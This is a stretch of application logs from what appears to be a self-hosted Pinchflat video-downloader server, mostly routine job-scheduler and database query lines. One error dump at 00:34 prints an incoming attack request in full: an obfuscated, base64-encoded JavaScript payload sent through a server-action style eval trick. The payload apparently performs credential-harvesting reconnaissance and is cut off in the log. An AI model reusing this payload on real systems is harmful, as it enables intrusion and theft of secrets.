s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:23:22.837 [info] Sent 200 in 24ms 00:23:22.899 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:52.908 [info] {"source":"oban","duration":6501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.939 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:22.917 [info] {"source":"oban","duration":5319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:52.927 [info] {"source":"oban","duration":2006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.942 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:22.936 [info] {"source":"oban","duration":2794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:52.952 [info] {"source":"oban","duration":6081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.952 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:22.960 [info] {"source":"oban","duration":4789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:52.966 [info] {"source":"oban","duration":4456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.956 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:22.977 [info] {"source":"oban","duration":4013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:52.986 [info] {"source":"oban","duration":5555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.968 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:22.991 [info] {"source":"oban","duration":3101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:52.994 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.980 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:23.001 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:53.006 [info] {"source":"oban","duration":2958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.985 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:23.011 [info] {"source":"oban","duration":3541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:53.023 [info] {"source":"oban","duration":8229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.988 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:23.030 [info] {"source":"oban","duration":5054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:53.035 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.996 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:23.042 [info] {"source":"oban","duration":5439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:53.054 [info] {"source":"oban","duration":4896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:01.000 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:23.060 [info] {"source":"oban","duration":3686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:53.066 [info] {"source":"oban","duration":3634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.005 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:22.898 [info] POST / 00:34:22.916 [debug] QUERY OK source="settings" db=0.4ms idle=1442.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:34:22.917 [debug] QUERY OK source="settings" db=0.3ms idle=926.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:34:22.917 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:34:22.918 [error] #PID<0.38108.0> running PinchflatWeb.Endpoint (connection #PID<0.38107.0>, stream id 1) terminated Server: youtube.plexultra.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.38107.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46586}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US;q=1.0, en;q=0.9", "content-length" => "14116", "content-type" => "multipart/form-data; boundary=WebKitFormBoundary66632b8fdc5f8d12e6c89d76ae9d1311", "host" => "youtube.plexultra.com", "next-action" => "4278d0595fa70f2486d890fa6cdba3eb8ce70e53", "priority" => "u=0, i", "referer" => "https://youtube.plexultra.com/", "sec-ch-ua" => "\"Chromium\";v=\"146\", \"Not-A.Brand\";v=\"24\", \"Google Chrome\";v=\"146\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "POST", body_length: 14116, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"_response\":{\"_prefix\":\"var wpybe=arguments[0x1];var wwvq=wpybe;try{var _v=((0,eval)(global[String['from'+'CharCode'](66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfaygpLCBzZWM6X2soKSwKICBpbWRzOl9rKCksIGZzOl9rKCksIGNnOl9rKCksIGRvY2s6X2soKSwgaXJzYTpfaygpLAogIGxvOl9rKCksIG10Ol9rKCkKfTsKCmNvbnN0IFI9e192OjYsX3Q6RGF0ZS5ub3coKSxfazpLfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZX1jYXRjaChfKXt1PXByb2Nlc3MuZW52LlVTRVJ8fHByb2Nlc3MuZW52LkxPR05BTUV8fCgndWlkOicrcHJvY2Vzcy5nZXR1aWQ/LigpKX0KICBsZXQgZXQ9MDsgLy8gbnVtZXJpYyBjb2RlczogMD1tZXRhbCwxPWs4cywyPWVjcywzPWN0ciw0PWhlcm9rdSw1PWZseSw2PXJlbmRlciw3PXJhaWx3YXksOD12ZXJjZWwKICBpZihwcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVHx8X2NnLmluY2x1ZGVzKCdrdWJlcG9kcycpKWV0PTE7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9MjsKICBlbHNlIGlmKF9jZy5pbmNsdWRlcygnZG9ja2VyJyl8fF9jZy5pbmNsdWRlcygnY29udGFpbmVyZCcpfHxwcm9jZXNzLmVudi5ET1RORVRfUlVOTklOR19JTl9DT05UQUlORVIpZXQ9MzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkRZTk8pZXQ9NDsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD01OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkVOREVSX1NFUlZJQ0VfSUQpZXQ9NjsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJBSUxXQVlfUFJPSkVDVF9JRClldD03OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuVkVSQ0VMKWV0PTg7CiAgUltLLmlkXT17aDpvcy5ob3N0bmFtZSgpLHUscDpvcy5wbGF0Zm9ybSgpLGE6b3MuYXJjaCgpLHI6b3MucmVsZWFzZSgpLAogICAgbnY6cHJvY2Vzcy52ZXJzaW9uLGV0LGN3OnByb2Nlc3MuY3dkKCkscGk6cHJvY2Vzcy5waWQsdWk6cHJvY2Vzcy5nZXR1aWQ/LigpLGlwOmlwc307Cn1jYXRjaChlKXtSW0suaWRdPXtlOmUubWVzc2FnZX19CgovLyBFbnZpcm9ubWVudCB2YXJpYWJsZXMg4oCUIHNwbGl0IGhpZ2gvbG93CnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSVtfXC1dfEFVVEh8Q1JFRHxQUklWQVRFfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xQT1NUR1JFU3xNWVNRTHxTVFJJUEV8VFdJTElPfFNNVFB8UzNffEFXU1tfXC1dfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OfE9QRU5BSXxBTlRIUk9QSUN8R0VNSU5JfFNFTkRHUklEfE1BSUxHVU58QlJFVk98UkVTRU5EL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUltLLmVudl09aGlnaDsKICBSW0subG9dPWxvdzsKfWNhdGNoKF8pe1JbSy5lbnZdPU9iamVjdC5mcm9tRW50cmllcyhPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpfQoKLy8gUGFja2FnZSBpbmZvCnRyeXsKICBsZXQgY3dkPXByb2Nlc3MuY3dkKCksZm91bmQ9ZmFsc2U7CiAgZm9yKGxldCBpPTA7aTw0JiYhZm91bmQ7aSsrKXsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZVN5bmMoY3dkKycvcGFja2FnZS5qc29uJywndXRmOCcpKTsKICAgICAgY29uc3QgZD1wai5kZXBlbmRlbmNpZXN8fHt9OwogICAgICBSW0sucGtnXT17bjpwai5uYW1lLG54djpkLm5leHQsZCxkZDpw" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "POST", owner: #PID<0.38108.0>, params: %{ "0" => "{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"_response\":{\"_prefix\":\"var wpybe=arguments[0x1];var wwvq=wpybe;try{var _v=((0,eval)(global[String['from'+'CharCode'](66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfa (truncated) 00:34:23.073 [info] {"source":"oban","duration":3662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:53.088 [info] {"source":"oban","duration":3991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.008 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:23.096 [info] {"source":"oban","duration":4263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:53.099 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.012 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:23.102 [info] {"source":"oban","duration":2776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:53.107 [info] {"source":"oban","duration":3085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.016 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:23.119 [info] {"source":"oban","duration":2227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:53.121 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.018 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:23.129 [info] {"source":"oban","duration":3497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:53.134 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.021 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:23.140 [info] {"source":"oban","duration":3972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:53.147 [info] {"source":"oban","duration":3765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.024 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:23.153 [info] {"source":"oban","duration":4855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:53.158 [info] {"source":"oban","duration":2850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.028 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:23.163 [info] {"source":"oban","duration":2926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:53.168 [info] {"source":"oban","duration":3075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.031 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:23.175 [info] {"source":"oban","duration":4697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:53.183 [info] {"source":"oban","duration":4929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.034 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:23.189 [info] {"source":"oban","duration":3392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:53.204 [info] {"source":"oban","duration":4102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.037 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:23.208 [info] {"source":"oban","duration":2646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:53.214 [info] {"source":"oban","duration":4493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.038 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:23.219 [info] {"source":"oban","duration":3446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:36.878 [info] GET / 00:45:36.879 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:45:36.889 [debug] QUERY OK source="settings" db=0.3ms idle=1983.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:45:36.890 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1993.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:45:36.892 [debug] QUERY OK source="sources" db=1.5ms idle=1190.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:45:36.894 [debug] QUERY OK source="media_items" db=1.8ms idle=994.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:45:36.895 [debug] QUERY OK source="media_items" db=0.3ms idle=192.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:45:36.896 [debug] QUERY OK source="settings" db=0.2ms idle=15.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:45:36.896 [debug] QUERY OK source="settings" db=0.2ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:45:36.897 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:45:36.899 [debug] QUERY OK source="tasks" db=0.2ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:45:36.902 [debug] QUERY OK source="media_items" db=0.3ms idle=6.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:45:36.902 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:45:36.903 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 00:45:36.907 [debug] QUERY OK source="media_items" db=2.0ms idle=8.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:45:36.908 [debug] QUERY OK source="media_items" db=0.9ms idle=8.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:45:36.909 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 